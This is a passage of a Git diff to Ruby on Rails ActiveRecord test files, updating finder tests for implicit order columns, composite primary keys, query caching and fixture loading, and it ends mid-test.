 
   def test_last_with_integer_and_order_should_use_sql_limit
     relation = Topic.order("title")
-    assert_queries(1) { relation.last(5) }
-    assert !relation.loaded?
+    assert_queries_count(1) { relation.last(5) }
+    assert_not_predicate relation, :loaded?
   end
 
   def test_last_with_integer_and_reorder_should_use_sql_limit
     relation = Topic.reorder("title")
-    assert_queries(1) { relation.last(5) }
-    assert !relation.loaded?
+    assert_queries_count(1) { relation.last(5) }
+    assert_not_predicate relation, :loaded?
   end
 
   def test_last_on_loaded_relation_should_not_use_sql
@@ -596,10 +1066,120 @@ def test_last_on_loaded_relation_should_not_use_sql
     end
   end
 
-  def test_last_with_irreversible_order
-    assert_raises(ActiveRecord::IrreversibleOrderError) do
-      Topic.order("coalesce(author_name, title)").last
+  def test_first_without_order_columns
+    assert_nil Edge.primary_key
+    assert_nil Edge.implicit_order_column
+    assert_nil Edge.query_constraints_list
+    error = assert_raises(ActiveRecord::MissingRequiredOrderError) do
+      Edge.all.first
+    end
+    assert_match(/Relation has no order values/, error.message)
+  end
+
+  # TODO: Remove this test when we remove the deprecated `raise_on_missing_required_finder_order_columns`
+  def test_first_without_order_columns_and_raise_on_missing_required_finder_order_columns_disabled
+    raise_on_missing_required_finder_order_columns_before = ActiveRecord.raise_on_missing_required_finder_order_columns
+    ActiveRecord.raise_on_missing_required_finder_order_columns = false
+
+    assert_nil Edge.primary_key
+    assert_nil Edge.implicit_order_column
+    assert_nil Edge.query_constraints_list
+    assert_nothing_raised do
+      assert_deprecated(/Calling order dependent finder methods/, ActiveRecord.deprecator) do
+        Edge.all.first
+      end
+    end
+  ensure
+    ActiveRecord.raise_on_missing_required_finder_order_columns = raise_on_missing_required_finder_order_columns_before
+  end
+
+  def test_first_with_at_least_primary_key
+    ordered_edge = Class.new(Edge) do
+      self.primary_key = "source_id"
+    end
+    assert_nothing_raised do
+      ordered_edge.all.first
+    end
+  end
+
+  def test_first_with_at_least_implict_order_column
+    ordered_edge = Class.new(Edge) do
+      self.implicit_order_column = "source_id"
+    end
+    assert_nothing_raised do
+      ordered_edge.all.first
+    end
+  end
+
+  def first_with_at_least_query_constraints
+    ordered_edge = Class.new(Edge) do
+      query_constraints "source_id"
+    end
+    assert_nothing_raised do
+      ordered_edge.all.first
+    end
+  end
+
+  def test_last_without_order_columns
+    assert_nil Edge.primary_key
+    assert_nil Edge.implicit_order_column
+    assert_nil Edge.query_constraints_list
+    error = assert_raises(ActiveRecord::MissingRequiredOrderError) do
+      Edge.all.last
+    end
+    assert_match(/Relation has no order values/, error.message)
+  end
+
+  # TODO: Remove this test when we remove `raise_on_missing_required_finder_order_columns`
+  def test_last_without_order_columns_and_raise_on_missing_required_finder_order_columns_disabled
+    raise_on_missing_required_finder_order_columns_before = ActiveRecord.raise_on_missing_required_finder_order_columns
+    ActiveRecord.raise_on_missing_required_finder_order_columns = false
+
+    assert_nil Edge.primary_key
+    assert_nil Edge.implicit_order_column
+    assert_nil Edge.query_constraints_list
+    error = assert_raises(ActiveRecord::IrreversibleOrderError) do
+      assert_deprecated(/Calling order dependent finder methods/, ActiveRecord.deprecator) do
+        Edge.all.last
+      end
+    end
+    assert_match(/Relation has no order values/, error.message)
+  ensure
+    ActiveRecord.raise_on_missing_required_finder_order_columns = raise_on_missing_required_finder_order_columns_before
+  end
+
+  def test_last_with_at_least_primary_key
+    ordered_edge = Class.new(Edge) do
+      self.primary_key = "source_id"
+    end
+    assert_nothing_raised do
+      ordered_edge.all.last
+    end
+  end
+
+  def test_last_with_at_least_implict_order_column
+    ordered_edge = Class.new(Edge) do
+      self.implicit_order_column = "source_id"
+    end
+    assert_nothing_raised do
+      ordered_edge.all.last
+    end
+  end
+
+  def last_with_at_least_query_constraints
+    ordered_edge = Class.new(Edge) do
+      query_constraints "source_id"
+    end
+    assert_nothing_raised do
+      ordered_edge.all.last
+    end
+  end
+
+  def test_last_with_irreversible_order_value
+    error = assert_raises(ActiveRecord::IrreversibleOrderError) do
+      Topic.order(Arel.sql("coalesce(author_name, title)")).last
     end
+    assert_match(/Order .* cannot be reversed automatically/, error.message)
   end
 
   def test_last_on_relation_with_limit_and_offset
@@ -610,12 +1190,126 @@ def test_last_on_relation_with_limit_and_offset
     assert_equal comments.limit(2).to_a.last(2), comments.limit(2).last(2)
     assert_equal comments.limit(2).to_a.last(3), comments.limit(2).last(3)
 
+    assert_equal comments.offset(2).to_a.last, comments.offset(2).last
+    assert_equal comments.offset(2).to_a.last(2), comments.offset(2).last(2)
+    assert_equal comments.offset(2).to_a.last(3), comments.offset(2).last(3)
+
     comments = comments.offset(1)
     assert_equal comments.limit(2).to_a.last, comments.limit(2).last
     assert_equal comments.limit(2).to_a.last(2), comments.limit(2).last(2)
     assert_equal comments.limit(2).to_a.last(3), comments.limit(2).last(3)
   end
 
+  def test_first_on_relation_with_limit_and_offset
+    post = posts("sti_comments")
+
+    comments = post.comments.order(id: :asc)
+    assert_equal comments.limit(2).to_a.first, comments.limit(2).first
+    assert_equal comments.limit(2).to_a.first(2), comments.limit(2).first(2)
+    assert_equal comments.limit(2).to_a.first(3), comments.limit(2).first(3)
+
+    assert_equal comments.offset(2).to_a.first, comments.offset(2).first
+    assert_equal comments.offset(2).to_a.first(2), comments.offset(2).first(2)
+    assert_equal comments.offset(2).to_a.first(3), comments.offset(2).first(3)
+
+    comments = comments.offset(1)
+    assert_equal comments.limit(2).to_a.first, comments.limit(2).first
+    assert_equal comments.limit(2).to_a.first(2), comments.limit(2).first(2)
+    assert_equal comments.limit(2).to_a.first(3), comments.limit(2).first(3)
+  end
+
+  def test_first_have_determined_order_by_default
+    expected = [companies(:second_client), companies(:another_client)]
+    clients = Client.where(name: expected.map(&:name))
+
+    assert_equal expected, clients.first(2)
+    assert_equal expected, clients.limit(5).first(2)
+    assert_equal expected, clients.order(nil).first(2)
+  end
+
+  def test_implicit_order_column_is_configurable_with_a_single_value
+    old_implicit_order_column = Topic.implicit_order_column
+    Topic.implicit_order_column = "title"
+
+    assert_equal topics(:fifth), Topic.first
+    assert_equal topics(:third), Topic.last
+
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("topics.title"))} DESC, #{Regexp.escape(quote_table_name("topics.id"))} DESC LIMIT/i) {
+      Topic.last
+    }
+  ensure
+    Topic.implicit_order_column = old_implicit_order_column
+  end
+
+  def test_implicit_order_column_is_configurable_with_multiple_values
+    old_implicit_order_column = Topic.implicit_order_column
+    Topic.implicit_order_column = ["title", "author_name"]
+
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("topics.title"))} DESC, #{Regexp.escape(quote_table_name("topics.author_name"))} DESC, #{Regexp.escape(quote_table_name("topics.id"))} DESC LIMIT/i) {
+      Topic.last
+    }
+  ensure
+    Topic.implicit_order_column = old_implicit_order_column
+  end
+
+  def test_ordering_does_not_append_primary_keys_or_query_constraints_if_passed_an_implicit_order_column_array_ending_in_nil
+    old_implicit_order_column = Topic.implicit_order_column
+    Topic.implicit_order_column = ["author_name", nil]
+
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("topics.author_name"))} DESC LIMIT/i) {
+      Topic.last
+    }
+  ensure
+    Topic.implicit_order_column = old_implicit_order_column
+  end
+
+  def test_implicit_order_set_to_primary_key
+    old_implicit_order_column = Topic.implicit_order_column
+    Topic.implicit_order_column = "id"
+
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("topics.id"))} DESC LIMIT/i) {
+      Topic.last
+    }
+  ensure
+    Topic.implicit_order_column = old_implicit_order_column
+  end
+
+  def test_implicit_order_for_model_without_primary_key
+    old_implicit_order_column = NonPrimaryKey.implicit_order_column
+    NonPrimaryKey.implicit_order_column = "created_at"
+
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("non_primary_keys.created_at"))} DESC LIMIT/i) {
+      NonPrimaryKey.last
+    }
+  ensure
+    NonPrimaryKey.implicit_order_column = old_implicit_order_column
+  end
+
+  def test_implicit_order_column_reorders_query_constraints
+    ClothingItem.implicit_order_column = "color"
+    quoted_type = Regexp.escape(quote_table_name("clothing_items.clothing_type"))
+    quoted_color = Regexp.escape(quote_table_name("clothing_items.color"))
+
+    assert_queries_match(/ORDER BY #{quoted_color} ASC, #{quoted_type} ASC LIMIT/i) do
+      assert_kind_of ClothingItem, ClothingItem.first
+    end
+  ensure
+    ClothingItem.implicit_order_column = nil
+  end
+
+  def test_implicit_order_column_prepends_query_constraints
+    ClothingItem.implicit_order_column = "description"
+    quoted_type = Regexp.escape(quote_table_name("clothing_items.clothing_type"))
+    quoted_color = Regexp.escape(quote_table_name("clothing_items.color"))
+    quoted_description = Regexp.escape(quote_table_name("clothing_items.description"))
+
+    assert_queries_match(/ORDER BY #{quoted_description} ASC, #{quoted_type} ASC, #{quoted_color} ASC LIMIT/i) do
+      assert_kind_of ClothingItem, ClothingItem.first
+    end
+  ensure
+    ClothingItem.implicit_order_column = nil
+  end
+
   def test_take_and_first_and_last_with_integer_should_return_an_array
     assert_kind_of Array, Topic.take(5)
     assert_kind_of Array, Topic.first(5)
@@ -636,8 +1330,8 @@ def test_find_only_some_columns
     assert_raise(ActiveModel::MissingAttributeError) { topic.title? }
     assert_nil topic.read_attribute("title")
     assert_equal "David", topic.author_name
-    assert !topic.attribute_present?("title")
-    assert !topic.attribute_present?(:title)
+    assert_not topic.attribute_present?("title")
+    assert_not topic.attribute_present?(:title)
     assert topic.attribute_present?("author_name")
     assert_respond_to topic, "author_name"
   end
@@ -694,7 +1388,7 @@ def test_find_on_hash_conditions_with_explicit_table_name_and_aggregate
   end
 
   def test_find_on_association_proxy_conditions
-    assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12], Comment.where(post_id: authors(:david).posts).map(&:id).sort
+    assert_equal [1, 2, 3, 5, 6, 7, 8, 9, 10, 12, 13], Comment.where(post_id: authors(:david).posts).map(&:id).sort
   end
 
   def test_find_on_hash_conditions_with_range
@@ -721,11 +1415,19 @@ def test_find_on_hash_conditions_with_array_of_ranges
     assert_equal [1, 2, 6, 7, 8], Comment.where(id: [1..2, 6..8]).to_a.map(&:id).sort
   end
 
+  def test_find_on_hash_conditions_with_open_ended_range
+    assert_equal [1, 2, 3], Comment.where(id: Float::INFINITY..3).to_a.map(&:id).sort
+  end
+
+  def test_find_on_hash_conditions_with_numeric_range_for_string
+    topic = Topic.create!(title: "12 Factor App")
+    assert_equal [topic], Topic.where(title: 10..2).to_a
+  end
+
   def test_find_on_multiple_hash_conditions
     assert Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: false).find(1)
     assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
     assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "HHC", replies_count: 1, approved: false).find(1) }
-    assert_raise(ActiveRecord::RecordNotFound) { Topic.where(author_name: "David", title: "The First Topic", replies_count: 1, approved: true).find(1) }
   end
 
   def test_condition_interpolation
@@ -778,6 +1480,26 @@ def test_hash_condition_find_with_aggregate_having_one_mapping
     assert_equal customers(:david), found_customer
   end
 
+  def test_hash_condition_find_with_aggregate_having_three_mappings_array
+    david_address = customers(:david).address
+    zaphod_address = customers(:zaphod).address
+    barney_address = customers(:barney).address
+    assert_kind_of Address, david_address
+    assert_kind_of Address, zaphod_address
+    found_customers = Customer.where(address: [david_address, zaphod_address, barney_address])
+    assert_equal [customers(:david), customers(:zaphod), customers(:barney)], found_customers.sort_by(&:id)
+  end
+
+  def test_hash_condition_find_with_aggregate_having_one_mapping_array
+    david_balance = customers(:david).balance
+    zaphod_balance = customers(:zaphod).balance
+    assert_kind_of Money, david_balance
+    assert_kind_of Money, zaphod_balance
+    found_customers = Customer.where(balance: [david_balance, zaphod_balance])
+    assert_equal [customers(:david), customers(:zaphod)], found_customers.sort_by(&:id)
+    assert_equal Customer.where(balance: [david_balance.amount, zaphod_balance.amount]).to_sql, found_customers.to_sql
+  end
+
   def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_and_key_value_being_aggregate
     gps_location = customers(:david).gps_location
     assert_kind_of GpsLocation, gps_location
@@ -802,8 +1524,9 @@ def test_hash_condition_find_with_aggregate_attribute_having_same_name_as_field_
   def test_hash_condition_find_with_aggregate_having_three_mappings
     address = customers(:david).address
     assert_kind_of Address, address
-    found_customer = Customer.where(address: address).first
-    assert_equal customers(:david), found_customer
+    customers = Customer.where(address: address).order(:id)
+    assert_equal [customers(:david)], customers
+    assert_equal customers(:david, :mary), customers.unscope(where: [:address_city, :address_country])
   end
 
   def test_hash_condition_find_with_one_condition_being_aggregate_and_another_not
@@ -813,6 +1536,24 @@ def test_hash_condition_find_with_one_condition_being_aggregate_and_another_not
     assert_equal customers(:david), found_customer
   end
 
+  def test_hash_condition_find_nil_with_aggregate_having_one_mapping
+    assert_nil customers(:zaphod).gps_location
+    found_customer = Customer.where(gps_location: nil, name: customers(:zaphod).name).first
+    assert_equal customers(:zaphod), found_customer
+  end
+
+  def test_hash_condition_find_nil_with_aggregate_having_multiple_mappings
+    customers(:david).update(address: nil)
+    assert_nil customers(:david).address_street
+    assert_nil customers(:david).address_city
+    found_customer = Customer.where(address: nil, name: customers(:david).name).first
+    assert_equal customers(:david), found_customer
+  end
+
+  def test_hash_condition_find_empty_array_with_aggregate_having_multiple_mappings
+    assert_nil Customer.where(address: []).first
+  end
+
   def test_condition_utc_time_interpolation_with_default_timezone_local
     with_env_tz "America/New_York" do
       with_timezone_config default: :local do
@@ -883,6 +1624,8 @@ def test_count_by_sql
     assert_equal(0, Entrant.count_by_sql("SELECT COUNT(*) FROM entrants WHERE id > 3"))
     assert_equal(1, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 2]))
     assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
+
+    assert_async_equal 2, Entrant.async_count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1])
   end
 
   def test_find_by_one_attribute
@@ -892,7 +1635,7 @@ def test_find_by_one_attribute
 
   def test_find_by_one_attribute_bang
     assert_equal topics(:first), Topic.find_by_title!("The First Topic")
-    assert_raises_with_message(ActiveRecord::RecordNotFound, "Couldn't find Topic") do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.find_by_title!("The First Topic!")
     end
   end
@@ -954,7 +1697,7 @@ def test_find_by_two_attributes_with_one_being_an_aggregate
 
   def test_dynamic_finder_on_one_attribute_with_conditions_returns_same_results_after_caching
     # ensure this test can run independently of order
-    class << Account; self; end.send(:remove_method, :find_by_credit_limit) if Account.public_methods.include?(:find_by_credit_limit)
+    Account.singleton_class.remove_method :find_by_credit_limit if Account.public_methods.include?(:find_by_credit_limit)
     a = Account.where("firm_id = ?", 6).find_by_credit_limit(50)
     assert_equal a, Account.where("firm_id = ?", 6).find_by_credit_limit(50) # find_by_credit_limit has been cached
   end
@@ -983,14 +1726,6 @@ def test_find_by_two_attributes_but_passing_only_one
     assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
   end
 
-  def test_find_last_with_offset
-    devs = Developer.order("id")
-
-    assert_equal devs[2], Developer.offset(2).first
-    assert_equal devs[-3], Developer.offset(2).last
-    assert_equal devs[-3], Developer.offset(2).order("id DESC").first
-  end
-
   def test_find_by_nil_attribute
     topic = Topic.find_by_last_read nil
     assert_not_nil topic
@@ -1006,16 +1741,6 @@ def test_find_with_bad_sql
     assert_raise(ActiveRecord::StatementInvalid) { Topic.find_by_sql "select 1 from badtable" }
   end
 
-  def test_find_all_with_join
-    developers_on_project_one = Developer.
-      joins("LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id").
-      where("project_id=1").to_a
-    assert_equal 3, developers_on_project_one.length
-    developer_names = developers_on_project_one.map(&:name)
-    assert_includes developer_names, "David"
-    assert_includes developer_names, "Jamis"
-  end
-
   def test_joins_dont_clobber_id
     first = Firm.
       joins("INNER JOIN companies clients ON clients.firm_id = companies.id").
@@ -1057,16 +1782,16 @@ def test_find_by_records
   end
 
   def test_select_value
-    assert_equal "37signals", Company.connection.select_value("SELECT name FROM companies WHERE id = 1")
-    assert_nil Company.connection.select_value("SELECT name FROM companies WHERE id = -1")
+    assert_equal "37signals", Company.lease_connection.select_value("SELECT name FROM companies WHERE id = 1")
+    assert_nil Company.lease_connection.select_value("SELECT name FROM companies WHERE id = -1")
     # make sure we didn't break count...
     assert_equal 0, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = 'Halliburton'")
     assert_equal 1, Company.count_by_sql("SELECT COUNT(*) FROM companies WHERE name = '37signals'")
   end
 
   def test_select_values
-    assert_equal ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11"], Company.connection.select_values("SELECT id FROM companies ORDER BY id").map!(&:to_s)
-    assert_equal ["37signals", "Summit", "Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux", "Apex"], Company.connection.select_values("SELECT name FROM companies ORDER BY id")
+    assert_equal ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "15"], Company.lease_connection.select_values("SELECT id FROM companies ORDER BY id").map!(&:to_s)
+    assert_equal ["37signals", "Summit", "Microsoft", "Flamboyant Software", "Ex Nihilo", "RailsCore", "Leetsoft", "Jadedpixel", "Odegy", "Ex Nihilo Part Deux", "Apex", "RVshare"], Company.lease_connection.select_values("SELECT name FROM companies ORDER BY id")
   end
 
   def test_select_rows
@@ -1074,9 +1799,9 @@ def test_select_rows
       [["1", "1", nil, "37signals"],
        ["2", "1", "2", "Summit"],
        ["3", "1", "1", "Microsoft"]],
-      Company.connection.select_rows("SELECT id, firm_id, client_of, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! { |i| i.map! { |j| j.to_s unless j.nil? } })
+      Company.lease_connection.select_rows("SELECT id, firm_id, client_of, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map { |i| i.map { |j| j.to_s unless j.nil? } })
     assert_equal [["1", "37signals"], ["2", "Summit"], ["3", "Microsoft"]],
-      Company.connection.select_rows("SELECT id, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map! { |i| i.map! { |j| j.to_s unless j.nil? } }
+      Company.lease_connection.select_rows("SELECT id, name FROM companies WHERE id IN (1,2,3) ORDER BY id").map { |i| i.map { |j| j.to_s unless j.nil? } }
   end
 
   def test_find_with_order_on_included_associations_with_construct_finder_sql_for_association_limiting_and_is_distinct
@@ -1089,6 +1814,11 @@ def test_find_with_order_on_included_associations_with_construct_finder_sql_for_
       order("author_addresses_authors.id DESC").limit(3).to_a.size
   end
 
+  def test_find_with_eager_loading_collection_and_ordering_by_collection_primary_key
+    assert_equal Post.first, Post.eager_load(comments: :ratings).
+      order("posts.id, ratings.id, comments.id").first
+  end
+
   def test_find_with_nil_inside_set_passed_for_one_attribute
     client_of = Company.
       where(client_of: [2, 1, nil],
@@ -1115,7 +1845,26 @@ def test_with_limiting_with_custom_select
       limit: 3, order: "posts.id"
     ).to_a
     assert_equal 3, posts.size
-    assert_equal [0, 1, 1], posts.map(&:author_id).sort
+    assert_equal [1, 1, nil], posts.map(&:author_id)
+  end
+
+  def test_custom_select_takes_precedence_over_original_value
+    posts = Post.select("UPPER(title) AS title")
+    assert_equal "WELCOME TO THE WEBLOG", posts.first.title
+    assert_equal "WELCOME TO THE WEBLOG", posts.preload(:comments).first.title
+    assert_equal "WELCOME TO THE WEBLOG", posts.eager_load(:comments).first.title
+  end
+
+  def test_eager_load_for_no_has_many_with_limit_and_joins_for_has_many
+    relation = Post.eager_load(:author).joins(comments: :post)
+    assert_equal 5, relation.to_a.size
+    assert_equal 5, relation.limit(5).to_a.size
+  end
+
+  def test_eager_load_for_no_has_many_with_limit_and_left_joins_for_has_many
+    relation = Post.eager_load(:author).left_joins(comments: :post)
+    assert_equal 11, relation.to_a.size
+    assert_equal 11, relation.limit(11).to_a.size
   end
 
   def test_find_one_message_on_primary_key
@@ -1134,7 +1883,7 @@ def test_find_one_message_with_custom_primary_key
       e = assert_raises(ActiveRecord::RecordNotFound) do
         model.find "Hello World!"
       end
-      assert_equal "Couldn't find MercedesCar with 'name'=Hello World!", e.message
+      assert_equal %{Couldn't find MercedesCar with 'name'="Hello World!"}, e.message
     end
   end
 
@@ -1144,7 +1893,7 @@ def test_find_some_message_with_custom_primary_key
       e = assert_raises(ActiveRecord::RecordNotFound) do
         model.find "Hello", "World!"
       end
-      assert_equal "Couldn't find all MercedesCars with 'name': (Hello, World!) (found 0 results, but was looking for 2)", e.message
+      assert_equal %{Couldn't find all MercedesCars with 'name': ("Hello", "World!") (found 0 results, but was looking for 2).}, e.message
     end
   end
 
@@ -1170,17 +1919,21 @@ def test_finder_with_offset_string
     assert_equal posts(:eager_other), Post.find_by("id = ?", posts(:eager_other).id)
   end
 
+  test "find_by with range conditions returns the first matching record" do
+    assert_equal posts(:eager_other), Post.find_by(id: posts(:eager_other).id...posts(:misc_by_bob).id)
+  end
+
   test "find_by returns nil if the record is missing" do
     assert_nil Post.find_by("1 = 0")
   end
 
   test "find_by with associations" do
     assert_equal authors(:david), Post.find_by(author: authors(:david)).author
-    assert_equal authors(:mary) , Post.find_by(author: authors(:mary)).author
+    assert_equal authors(:mary), Post.find_by(author: authors(:mary)).author
   end
 
   test "find_by doesn't have implicit ordering" do
-    assert_sql(/^((?!ORDER).)*$/) { Post.find_by(id: posts(:eager_other).id) }
+    assert_queries_match(/^((?!ORDER).)*$/) { Post.find_by(id: posts(:eager_other).id) }
   end
 
   test "find_by! with hash conditions returns the first matching record" do
@@ -1196,33 +1949,129 @@ def test_finder_with_offset_string
   end
 
   test "find_by! doesn't have implicit ordering" do
-    assert_sql(/^((?!ORDER).)*$/) { Post.find_by!(id: posts(:eager_other).id) }
+    assert_queries_match(/^((?!ORDER).)*$/) { Post.find_by!(id: posts(:eager_other).id) }
   end
 
   test "find_by! raises RecordNotFound if the record is missing" do
-    assert_raises(ActiveRecord::RecordNotFound) do
+    error = assert_raises(ActiveRecord::RecordNotFound) do
       Post.find_by!("1 = 0")
     end
+
+    assert_equal "Couldn't find Post with [WHERE (1 = 0)]", error.message
   end
 
   test "find on a scope does not perform statement caching" do
     honda = cars(:honda)
     zyke = cars(:zyke)
-    tyre = honda.tyres.create!
-    tyre2 = zyke.tyres.create!
+    tire = honda.tires.create!
+    tire2 = zyke.tires.create!
 
-    assert_equal tyre, honda.tyres.custom_find(tyre.id)
-    assert_equal tyre2, zyke.tyres.custom_find(tyre2.id)
+    assert_equal tire, honda.tires.custom_find(tire.id)
+    assert_equal tire2, zyke.tires.custom_find(tire2.id)
   end
 
   test "find_by on a scope does not perform statement caching" do
     honda = cars(:honda)
     zyke = cars(:zyke)
-    tyre = honda.tyres.create!
-    tyre2 = zyke.tyres.create!
+    tire = honda.tires.create!
+    tire2 = zyke.tires.create!
+
+    assert_equal tire, honda.tires.custom_find_by(id: tire.id)
+    assert_equal tire2, zyke.tires.custom_find_by(id: tire2.id)
+  end
+
+  test "#skip_query_cache! for #exists?" do
+    Topic.cache do
+      assert_queries_count(1) do
+        Topic.exists?
+        Topic.exists?
+      end
+
+      assert_queries_count(2) do
+        Topic.all.skip_query_cache!.exists?
+        Topic.all.skip_query_cache!.exists?
+      end
+    end
+  end
+
+  test "#skip_query_cache! for #exists? with a limited eager load" do
+    Topic.cache do
+      assert_queries_count(1) do
+        Topic.eager_load(:replies).limit(1).exists?
+        Topic.eager_load(:replies).limit(1).exists?
+      end
+
+      assert_queries_count(2) do
+        Topic.eager_load(:replies).limit(1).skip_query_cache!.exists?
+        Topic.eager_load(:replies).limit(1).skip_query_cache!.exists?
+      end
+    end
+  end
+
+  test "#last for a model with composite query constraints" do
+    quoted_type = Regexp.escape(quote_table_name("clothing_items.clothing_type"))
+    quoted_color = Regexp.escape(quote_table_name("clothing_items.color"))
 
-    assert_equal tyre, honda.tyres.custom_find_by(id: tyre.id)
-    assert_equal tyre2, zyke.tyres.custom_find_by(id: tyre2.id)
+    assert_queries_match(/ORDER BY #{quoted_type} DESC, #{quoted_color} DESC LIMIT/i) do
+      assert_kind_of ClothingItem, ClothingItem.last
+    end
+  end
+
+  test "#first for a model with composite query constraints" do
+    quoted_type = Regexp.escape(quote_table_name("clothing_items.clothing_type"))
+    quoted_color = Regexp.escape(quote_table_name("clothing_items.color"))
+
+    assert_queries_match(/ORDER BY #{quoted_type} ASC, #{quoted_color} ASC LIMIT/i) do
+      assert_kind_of ClothingItem, ClothingItem.first
+    end
+  end
+
+  test "#find with a single composite primary key" do
+    book = cpk_books(:cpk_great_author_first_book)
+
+    assert_equal book, Cpk::Book.find(book.id)
+  end
+
+  test "find with a single composite primary key wrapped in an array" do
+    book = cpk_books(:cpk_great_author_first_book)
+
+    assert_equal [book], Cpk::Book.find([book.id])
+  end
+
+  test "find with a multiple sets of composite primary key" do
+    books = [cpk_books(:cpk_great_author_first_book), cpk_books(:cpk_great_author_second_book)]
+    ids = books.map(&:id)
+    result = Cpk::Book.find(*ids)
+
+    assert_equal ids, result.map(&:id)
+  end
+
+  test "find with a multiple sets of composite primary key wrapped in an array" do
+    books = [cpk_books(:cpk_great_author_first_book), cpk_books(:cpk_great_author_second_book)]
+
+    assert_equal books.map(&:id), Cpk::Book.where(revision: 1).find(books.map(&:id)).map(&:id)
+  end
+
+  test "find with a multiple sets of composite primary key wrapped in an array ordered" do
+    books = [cpk_books(:cpk_great_author_first_book), cpk_books(:cpk_great_author_second_book)]
+
+    assert_equal books.map(&:id), Cpk::Book.order(author_id: :asc).find(books.map(&:id)).map(&:id)
+  end
+
+  test "#find_by with composite primary key" do
+    book = cpk_books(:cpk_book_with_generated_pk)
+    assert_equal cpk_reviews(:first_book_review), Cpk::Review.find_by(book: book)
+  end
+
+  test "#find_by with composite primary key and query caching" do
+    book = cpk_books(:cpk_book_with_generated_pk)
+
+    Cpk::Review.cache do
+      assert_queries_count(1) do
+        Cpk::Review.find_by(book: book)
+        Cpk::Review.find_by(book: book)
+      end
+    end
   end
 
   private
@@ -1233,9 +2082,4 @@ def self.name
         end
       end)
     end
-
-    def assert_raises_with_message(exception_class, message, &block)
-      err = assert_raises(exception_class) { block.call }
-      assert_match message, err.message
-    end
 end
diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb
index 533edcc2e02c7..7d411f18d2552 100644
--- a/activerecord/test/cases/fixture_set/file_test.rb
+++ b/activerecord/test/cases/fixture_set/file_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "tempfile"
 
@@ -68,6 +70,15 @@ def test_wrong_fixture_format_nested
         end
       end
 
+      def test_wrong_config_row
+        tmp_yaml ["empty", "yml"], { "_fixture" => { "class_name" => "Foo" } }.to_yaml do |t|
+          error = assert_raises(ActiveRecord::Fixture::FormatError) do
+            File.open(t.path) { |fh| fh.model_class }
+          end
+          assert_includes error.message, "Invalid `_fixture` section"
+        end
+      end
+
       def test_render_context_helper
         ActiveRecord::FixtureSet.context_class.class_eval do
           def fixture_helper
@@ -135,12 +146,6 @@ def test_extracts_model_class_from_config_row
         end
       end
 
-      def test_erb_filename
-        filename = "filename.yaml"
-        erb = File.new(filename).send(:prepare_erb, "<% Rails.env %>\n")
-        assert_equal erb.filename, filename
-      end
-
       private
         def tmp_yaml(name, contents)
           t = Tempfile.new name
diff --git a/activerecord/test/cases/fixtures_test.rb b/activerecord/test/cases/fixtures_test.rb
index 61e596e208de8..1c89104b269c2 100644
--- a/activerecord/test/cases/fixtures_test.rb
+++ b/activerecord/test/cases/fixtures_test.rb
@@ -1,8 +1,13 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/connection_helper"
 require "models/admin"
 require "models/admin/account"
 require "models/admin/randomly_named_c1"
 require "models/admin/user"
+require "models/aircraft"
+require "models/author"
 require "models/binary"
 require "models/book"
 require "models/bulb"
@@ -13,10 +18,13 @@
 require "models/computer"
 require "models/course"
 require "models/developer"
+require "models/dog_lover"
 require "models/dog"
 require "models/doubloon"
+require "models/essay"
 require "models/joke"
 require "models/matey"
+require "models/organization"
 require "models/other_dog"
 require "models/parrot"
 require "models/pirate"
@@ -27,20 +35,31 @@
 require "models/topic"
 require "models/traffic_light"
 require "models/treasure"
-require "tempfile"
+require "models/tree"
+require "models/cpk"
 
 class FixturesTest < ActiveRecord::TestCase
+  include ConnectionHelper
+
   self.use_instantiated_fixtures = true
   self.use_transactional_tests = false
 
   # other_topics fixture should not be included here
-  fixtures :topics, :developers, :accounts, :tasks, :categories, :funny_jokes, :binaries, :traffic_lights
+  fixtures :topics, :developers, :accounts, :tasks, :categories, :funny_jokes, :binaries, :traffic_lights, :trees
 
   FIXTURES = %w( accounts binaries companies customers
                  developers developers_projects entrants
                  movies projects subscribers topics tasks )
   MATCH_ATTRIBUTE_NAME = /[a-zA-Z][-\w]*/
 
+  def setup
+    Arel::Table.engine = nil # should not rely on the global Arel::Table.engine
+  end
+
+  def teardown
+    Arel::Table.engine = ActiveRecord::Base
+  end
+
   def test_clean_fixtures
     FIXTURES.each do |name|
       fixtures = nil
@@ -54,6 +73,278 @@ def test_clean_fixtures
     end
   end
 
+  class InsertQuerySubscriber
+    attr_reader :events
+
+    def initialize
+      @events = []
+    end
+
+    def call(_, _, _, _, values)
+      @events << values[:sql] if /INSERT/.match?(values[:sql])
+    end
+  end
+
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter, :PostgreSQLAdapter)
+    def test_bulk_insert
+      subscriber = InsertQuerySubscriber.new
+      subscription = ActiveSupport::Notifications.subscribe("sql.active_record", subscriber)
+      create_fixtures("bulbs")
